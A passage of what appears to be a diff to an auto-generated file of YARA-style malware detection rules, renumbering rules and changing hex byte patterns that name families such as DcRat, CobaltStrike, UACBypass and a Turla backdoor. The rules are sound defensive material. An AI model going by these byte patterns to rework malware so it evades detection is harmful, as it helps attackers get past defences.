c1 e0 10 0b d0 41 0f b6 c6 44 8b 76 04 8d 4d 01 0b d0 00 00 78 47 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 57 69 6e 36 34 2f 43 } //18467 + condition: + ((#a_54_0 & 1)*18467) >=1 + +} +rule _InfrastructureShared_3011{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 36 34 2f 43 6f 6e 76 61 67 65 6e 74 2e 47 56 41 32 00 01 00 1f 01 0f b6 0c 1e 01 c1 0f b6 c1 48 8b 4d b0 8a 04 01 48 63 4d ec 48 8b 55 88 30 04 0a 44 8b 5d ec 00 00 78 47 00 00 01 00 01 00 01 00 21 23 4c 6f 77 50 57 53 3a 57 69 6e 33 32 } //18467 + condition: + ((#a_54_0 & 1)*18467) >=1 + +} +rule _InfrastructureShared_3012{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -30642,7 +31152,7 @@ rule _InfrastructureShared_2964{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_2965{ +rule _InfrastructureShared_3013{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -30652,7 +31162,7 @@ rule _InfrastructureShared_2965{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_2966{ +rule _InfrastructureShared_3014{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -30662,7 +31172,7 @@ rule _InfrastructureShared_2966{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_2967{ +rule _InfrastructureShared_3015{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -30672,7 +31182,7 @@ rule _InfrastructureShared_2967{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_2968{ +rule _InfrastructureShared_3016{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -30682,7 +31192,7 @@ rule _InfrastructureShared_2968{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_2969{ +rule _InfrastructureShared_3017{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -30692,7 +31202,7 @@ rule _InfrastructureShared_2969{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_2970{ +rule _InfrastructureShared_3018{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -30702,7 +31212,7 @@ rule _InfrastructureShared_2970{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_2971{ +rule _InfrastructureShared_3019{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -30712,7 +31222,7 @@ rule _InfrastructureShared_2971{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_2972{ +rule _InfrastructureShared_3020{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -30722,7 +31232,7 @@ rule _InfrastructureShared_2972{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_2973{ +rule _InfrastructureShared_3021{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -30732,27 +31242,17 @@ rule _InfrastructureShared_2973{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_2974{ +rule _InfrastructureShared_3022{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 61 72 79 73 2e 41 43 21 4d 54 42 00 01 00 1b 01 33 c0 89 08 50 45 43 6f 6d 70 61 63 74 32 00 ee 05 9e 8b c4 b7 67 3c 87 2f 7c e1 00 00 78 47 00 00 01 00 01 00 01 00 } //21539 + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4a 61 6c 61 70 65 6e 6f 2e 42 56 21 4d 54 42 00 01 00 19 01 07 20 21 16 03 04 61 07 20 62 5b 87 5e 60 0b 02 07 20 21 69 01 32 5c 0b fe 00 00 78 47 00 00 01 00 01 00 01 00 } //21539 condition: ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_2975{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4f 62 73 69 64 69 75 6d 2e 41 21 4d 54 42 00 01 00 19 01 36 dc 71 5b eb 03 d2 a5 00 eb 05 32 ae 3f 9b 0a b8 0e 48 3c f7 eb 01 76 eb 00 00 78 47 00 00 01 00 01 00 01 00 } //21539 - condition: - ((#a_4c_0 & 1)*21539) >=1 - -} -rule _InfrastructureShared_2976{ +rule _InfrastructureShared_3023{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -30762,7 +31262,17 @@ rule _InfrastructureShared_2976{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_2977{ +rule _InfrastructureShared_3024{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 48 65 6c 63 6f 62 74 69 6b 2e 43 00 01 00 1c 01 66 c1 e8 0a 66 83 e1 1c 66 83 e0 0f 66 c1 e1 02 66 0b c8 66 41 89 49 02 0f b7 42 04 00 00 78 47 00 00 01 00 01 00 01 00 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_3025{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -30772,7 +31282,7 @@ rule _InfrastructureShared_2977{ ((#a_6f_0 & 1)*21539) >=1 } -rule _InfrastructureShared_2978{ +rule _InfrastructureShared_3026{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -30782,7 +31292,7 @@ rule _InfrastructureShared_2978{ ((#a_6f_0 & 1)*21539) >=1 } -rule _InfrastructureShared_2979{ +rule _InfrastructureShared_3027{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -30792,7 +31302,7 @@ rule _InfrastructureShared_2979{ ((#a_72_0 & 1)*22051) >=1 } -rule _InfrastructureShared_2980{ +rule _InfrastructureShared_3028{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -30802,7 +31312,7 @@ rule _InfrastructureShared_2980{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_2981{ +rule _InfrastructureShared_3029{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -30812,7 +31322,7 @@ rule _InfrastructureShared_2981{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_2982{ +rule _InfrastructureShared_3030{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -30822,39 +31332,60 @@ rule _InfrastructureShared_2982{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_2983{ +rule _InfrastructureShared_3031{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " strings : - $a_4c_0 = {42 61 63 6b 64 6f 6f 72 3a 4d 53 49 4c 2f 44 63 52 61 74 2e 53 4c 21 4d 54 42 00 02 00 1a 01 6f 0f 00 00 0a 6f 10 00 00 0a 6f 11 00 00 0a 9d 08 17 58 0c 08 07 8e 69 32 d9 00 00 78 47 00 00 02 00 02 00 02 00 } //21539 + $a_4c_0 = {42 61 63 6b 64 6f 6f 72 3a 4d 53 49 4c 2f 44 63 52 61 74 2e 53 4c 21 4d 54 42 00 02 00 1a 01 6f 0f 00 00 0a 6f 10 00 00 0a 6f 11 00 00 0a 9d 08 17 58 0c 08 07 8e 69 32 d9 00 00 78 47 00 00 02 00 02 00 01 00 } //21539 condition: ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_2984{ +rule _InfrastructureShared_3032{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 49 4c 4d 21 4d 54 42 00 02 00 13 03 44 30 24 0b 44 02 24 0b e2 90 01 01 13 ef a7 a4 a0 90 00 00 00 78 47 00 00 02 00 02 00 02 00 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_3033{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 73 72 75 65 78 2e 41 21 64 68 61 00 01 00 0d 01 5b 39 4c 57 63 68 39 65 69 5e 5f 64 68 01 00 0a 01 5f 64 64 4d 57 64 5f 43 46 5f 00 00 78 47 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 } //16675 - $a_61_1 = {3a 57 69 6e 33 32 2f 55 41 43 42 79 70 61 73 73 2e 44 55 46 00 01 00 0d 80 01 70 72 61 63 74 73 74 75 62 2e 65 78 65 01 00 08 00 73 79 6e 63 4c 6f 63 6b 00 00 78 47 00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a 41 75 74 6f 41 74 74 72 4d 73 69 6c 5f 45 34 36 44 43 32 37 32 00 01 00 0e 01 61 00 6c 00 20 00 45 00 78 00 } //28530 + $a_61_1 = {3a 57 69 6e 33 32 2f 55 41 43 42 79 70 61 73 73 2e 44 55 46 00 01 00 0d 80 01 70 72 61 63 74 73 74 75 62 2e 65 78 65 01 00 08 00 73 79 6e 63 4c 6f 63 6b 00 00 78 47 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 50 6d 54 61 6d 70 65 72 2e 41 00 01 00 10 01 5a 50 72 6f 74 65 63 74 20 } //28530 condition: ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*28530) >=2 } -rule _InfrastructureShared_2985{ +rule _InfrastructureShared_3034{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 55 41 43 42 79 70 61 73 73 2e 44 55 46 00 01 00 0d 80 01 70 72 61 63 74 73 74 75 62 2e 65 78 65 01 00 08 00 73 79 6e 63 4c 6f 63 6b 00 00 78 47 00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a } //16675 + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 55 41 43 42 79 70 61 73 73 2e 44 55 46 00 01 00 0d 80 01 70 72 61 63 74 73 74 75 62 2e 65 78 65 01 00 08 00 73 79 6e 63 4c 6f 63 6b 00 00 78 47 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 } //16675 + $a_61_1 = {3a 57 69 6e 36 34 2f 50 6d 54 61 6d 70 65 72 2e 41 00 01 00 10 01 5a 50 72 6f 74 65 63 74 20 53 65 72 76 69 63 65 01 00 09 01 57 61 72 73 61 77 5f 50 4d 00 00 78 47 00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a 41 75 74 6f 41 74 74 72 4d 73 69 6c 5f 45 34 36 44 43 32 37 32 00 01 00 0e 01 61 00 6c 00 20 00 45 00 78 00 } //28530 + condition: + ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*28530) >=2 + +} +rule _InfrastructureShared_3035{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 50 6d 54 61 6d 70 65 72 2e 41 00 01 00 10 01 5a 50 72 6f 74 65 63 74 20 53 65 72 76 69 63 65 01 00 09 01 57 61 72 73 61 77 5f 50 4d 00 00 78 47 00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a } //16675 $a_6f_1 = {74 74 72 4d 73 69 6c 5f 45 34 36 44 43 32 37 32 00 01 00 0e 01 61 00 6c 00 20 00 45 00 78 00 70 00 69 00 01 00 0c 01 69 00 73 00 63 00 61 00 72 00 64 00 00 00 78 47 00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 54 75 72 6c 61 2e 4c 21 64 68 61 00 01 00 0b 01 73 6e 61 6b 65 5f 61 6c 6c 6f 63 01 00 0a 01 } //30017 condition: ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*30017) >=2 } -rule _InfrastructureShared_2986{ +rule _InfrastructureShared_3036{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -30865,7 +31396,7 @@ rule _InfrastructureShared_2986{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*14962) >=2 } -rule _InfrastructureShared_2987{ +rule _InfrastructureShared_3037{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -30876,7 +31407,7 @@ rule _InfrastructureShared_2987{ ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*30054) >=2 } -rule _InfrastructureShared_2988{ +rule _InfrastructureShared_3038{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -30887,7 +31418,7 @@ rule _InfrastructureShared_2988{ ((#a_54_0 & 1)*18467+(#a_5f_1 & 1)*28532) >=2 } -rule _InfrastructureShared_2989{ +rule _InfrastructureShared_3039{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -30898,7 +31429,7 @@ rule _InfrastructureShared_2989{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*22649) >=2 } -rule _InfrastructureShared_2990{ +rule _InfrastructureShared_3040{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -30909,7 +31440,7 @@ rule _InfrastructureShared_2990{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*31088) >=2 } -rule _InfrastructureShared_2991{ +rule _InfrastructureShared_3041{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -30920,7 +31451,7 @@ rule _InfrastructureShared_2991{ ((#a_54_0 & 1)*18467+(#a_43_1 & 1)*30565) >=2 } -rule _InfrastructureShared_2992{ +rule _InfrastructureShared_3042{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -30930,40 +31461,29 @@ rule _InfrastructureShared_2992{ ((#a_77_0 & 1)*19491) >=2 } -rule _InfrastructureShared_2993{ +rule _InfrastructureShared_3043{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " strings : $a_5f_0 = {78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 01 00 0c 01 50 72 6f 6a 65 63 74 31 2e 65 78 65 01 00 10 01 4b 45 6e 63 72 79 70 74 69 6f 6e 46 75 6e 63 73 00 00 78 47 00 00 03 00 03 00 03 00 21 23 54 45 4c 50 45 52 3a 48 53 54 52 3a 57 69 6e 33 32 2f 53 6e 61 70 44 6f 00 01 00 05 01 52 49 44 45 52 01 00 05 01 4d 4f } //25635 - $a_01_1 = {00 0e 01 2e 3f 41 56 4b 75 70 69 63 72 79 70 74 40 00 00 78 47 00 00 04 00 04 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 43 61 73 73 61 6e 64 72 61 2e 47 50 50 44 21 4d 54 42 00 04 00 16 03 91 9c 61 d2 81 01 00 00 01 11 90 01 } //20308 + $a_01_1 = {00 0e 01 2e 3f 41 56 4b 75 70 69 63 72 79 70 74 40 00 00 78 47 00 00 04 00 04 00 02 00 21 23 64 6f 5f 65 78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 03 00 0e 01 85 c0 74 16 6a 32 ff d7 46 83 fe 05 72 da 01 00 0e 01 52 65 61 64 } //20308 condition: ((#a_5f_0 & 1)*25635+(#a_01_1 & 1)*20308) >=2 } -rule _InfrastructureShared_2994{ +rule _InfrastructureShared_3044{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : - $a_4c_0 = {45 52 3a 48 53 54 52 3a 57 69 6e 33 32 2f 53 6e 61 70 44 6f 00 01 00 05 01 52 49 44 45 52 01 00 05 01 4d 4f 54 4f 52 01 00 0e 01 2e 3f 41 56 4b 75 70 69 63 72 79 70 74 40 00 00 78 47 00 00 04 00 04 00 01 00 } //21539 - $a_45_1 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 43 61 73 73 61 6e 64 72 61 2e 47 50 50 44 21 4d 54 42 00 04 00 16 03 91 9c 61 d2 81 01 00 00 01 11 90 01 01 1f 90 01 01 91 13 10 90 00 00 00 78 47 00 00 04 00 04 00 02 00 21 23 64 6f 5f 65 78 68 61 75 73 74 69 76 } //8993 - $a_74_2 = {5f 72 65 73 63 61 6e 00 03 00 0e 01 85 c0 74 16 6a 32 ff d7 46 83 fe 05 72 da 01 00 0e 01 52 65 61 64 4f 6c 64 49 6e 69 46 69 6c 65 00 00 78 47 00 00 04 00 04 00 03 00 21 23 64 6f 5f 76 6d 6d 67 72 6f 77 5f 72 65 73 63 61 6e 00 02 00 0a 01 68 f4 01 00 00 68 99 00 00 00 02 00 07 01 81 7d dc 68 58 4d 56 02 00 0e 03 68 6e 0f 00 00 6a 10 68 90 01 } //26725 + $a_4c_0 = {45 52 3a 48 53 54 52 3a 57 69 6e 33 32 2f 53 6e 61 70 44 6f 00 01 00 05 01 52 49 44 45 52 01 00 05 01 4d 4f 54 4f 52 01 00 0e 01 2e 3f 41 56 4b 75 70 69 63 72 79 70 74 40 00 00 78 47 00 00 04 00 04 00 02 00 } //21539 + $a_6f_1 = {65 78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 03 00 0e 01 85 c0 74 16 6a 32 ff d7 46 83 fe 05 72 da 01 00 0e 01 52 65 61 64 4f 6c 64 49 6e 69 46 69 6c 65 00 00 78 47 00 00 04 00 04 00 03 00 21 23 64 6f 5f 76 6d 6d 67 72 6f 77 5f 72 65 73 63 61 6e 00 02 00 0a 01 68 f4 01 00 00 68 } //8993 condition: - ((#a_4c_0 & 1)*21539+(#a_45_1 & 1)*8993+(#a_74_2 & 1)*26725) >=3 + ((#a_4c_0 & 1)*21539+(#a_6f_1 & 1)*8993) >=3 } -rule _InfrastructureShared_2995{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 01 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 43 61 73 73 61 6e 64 72 61 2e 47 50 50 44 21 4d 54 42 00 04 00 16 03 91 9c 61 d2 81 01 00 00 01 11 90 01 01 1f 90 01 01 91 13 10 90 00 00 00 78 47 00 00 04 00 04 00 02 00 } //21539 - condition: - ((#a_4c_0 & 1)*21539) >=4 - -} -rule _InfrastructureShared_2996{ +rule _InfrastructureShared_3045{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " @@ -30974,7 +31494,7 @@ rule _InfrastructureShared_2996{ ((#a_5f_0 & 1)*25635+(#a_02_1 & 1)*19800) >=4 } -rule _InfrastructureShared_2997{ +rule _InfrastructureShared_3046{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 21 " @@ -30986,7 +31506,7 @@ rule _InfrastructureShared_2997{ ((#a_5f_0 & 1)*25635+(#a_01_1 & 1)*2+(#a_01_2 & 1)*2) >=4 } -rule _InfrastructureShared_2998{ +rule _InfrastructureShared_3047{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 21 " @@ -30998,7 +31518,7 @@ rule _InfrastructureShared_2998{ ((#a_54_0 & 1)*18467+(#a_3a_1 & 1)*28527+(#a_41_2 & 1)*16721) >=6 } -rule _InfrastructureShared_2999{ +rule _InfrastructureShared_3048{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -31008,7 +31528,7 @@ rule _InfrastructureShared_2999{ ((#a_46_0 & 1)*16675) >=10 } -rule _InfrastructureShared_3000{ +rule _InfrastructureShared_3049{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -31018,7 +31538,7 @@ rule _InfrastructureShared_3000{ ((#a_46_0 & 1)*16675) >=10 } -rule _InfrastructureShared_3001{ +rule _InfrastructureShared_3050{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -31028,27 +31548,17 @@ rule _InfrastructureShared_3001{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_3002{ +rule _InfrastructureShared_3051{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " strings : - $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 56 42 2e 67 65 6e 21 74 72 6f 6a 61 6e 00 0a 00 19 02 74 00 72 00 6f 00 6a 00 61 00 6e 00 90 02 40 2e 00 76 00 62 00 70 00 90 00 00 00 78 47 00 00 0a 00 0a 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 } //18467 + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 56 42 2e 67 65 6e 21 74 72 6f 6a 61 6e 00 0a 00 19 02 74 00 72 00 6f 00 6a 00 61 00 6e 00 90 02 40 2e 00 76 00 62 00 70 00 90 00 00 00 78 47 00 00 0a 00 0a 00 01 00 21 23 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f } //18467 condition: ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_3003{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 54 65 64 79 2e 50 47 4c 21 4d 54 42 00 0a 00 1b 03 48 8b 44 24 50 48 3b c5 7d 17 48 05 90 01 04 48 8d 4c 24 40 48 89 44 24 40 90 00 00 00 78 47 00 00 0a 00 0a 00 01 00 } //21539 - condition: - ((#a_4c_0 & 1)*21539) >=10 - -} -rule _InfrastructureShared_3004{ +rule _InfrastructureShared_3052{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -31058,7 +31568,7 @@ rule _InfrastructureShared_3004{ ((#a_6f_0 & 1)*21539) >=10 } -rule _InfrastructureShared_3005{ +rule _InfrastructureShared_3053{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ -31068,7 +31578,7 @@ rule _InfrastructureShared_3005{ ((#a_46_0 & 1)*16675) >=100 } -rule _InfrastructureShared_3006{ +rule _InfrastructureShared_3054{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ -31078,7 +31588,7 @@ rule _InfrastructureShared_3006{ ((#a_46_0 & 1)*16675) >=100 } -rule _InfrastructureShared_3007{ +rule _InfrastructureShared_3055{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ -31088,7 +31598,7 @@ rule _InfrastructureShared_3007{ ((#a_54_0 & 1)*18467) >=100 } -rule _InfrastructureShared_3008{ +rule _InfrastructureShared_3056{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffffc8 00 ffffffc8 00 02 00 21 " @@ -31099,7 +31609,7 @@ rule _InfrastructureShared_3008{ ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*25441) >=200 } -rule _InfrastructureShared_3009{ +rule _InfrastructureShared_3057{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -31109,7 +31619,7 @@ rule _InfrastructureShared_3009{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3010{ +rule _InfrastructureShared_3058{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -31119,7 +31629,7 @@ rule _InfrastructureShared_3010{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3011{ +rule _InfrastructureShared_3059{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -31129,7 +31639,7 @@ rule _InfrastructureShared_3011{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3012{ +rule _InfrastructureShared_3060{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -31139,7 +31649,7 @@ rule _InfrastructureShared_3012{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3013{ +rule _InfrastructureShared_3061{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -31149,7 +31659,7 @@ rule _InfrastructureShared_3013{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3014{ +rule _InfrastructureShared_3062{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -31159,7 +31669,7 @@ rule _InfrastructureShared_3014{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3015{ +rule _InfrastructureShared_3063{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -31169,7 +31679,7 @@ rule _InfrastructureShared_3015{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3016{ +rule _InfrastructureShared_3064{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -31179,7 +31689,7 @@ rule _InfrastructureShared_3016{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3017{ +rule _InfrastructureShared_3065{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -31189,7 +31699,7 @@ rule _InfrastructureShared_3017{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3018{ +rule _InfrastructureShared_3066{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -31199,7 +31709,7 @@ rule _InfrastructureShared_3018{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3019{ +rule _InfrastructureShared_3067{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -31209,7 +31719,7 @@ rule _InfrastructureShared_3019{ ((#a_5f_0 & 1)*16931) >=1 } -rule _InfrastructureShared_3020{ +rule _InfrastructureShared_3068{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -31219,7 +31729,7 @@ rule _InfrastructureShared_3020{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_3021{ +rule _InfrastructureShared_3069{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -31229,7 +31739,7 @@ rule _InfrastructureShared_3021{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_3022{ +rule _InfrastructureShared_3070{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -31239,7 +31749,7 @@ rule _InfrastructureShared_3022{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_3023{ +rule _InfrastructureShared_3071{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -31249,7 +31759,7 @@ rule _InfrastructureShared_3023{ ((#a_6b_0 & 1)*17955) >=1 } -rule _InfrastructureShared_3024{ +rule _InfrastructureShared_3072{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 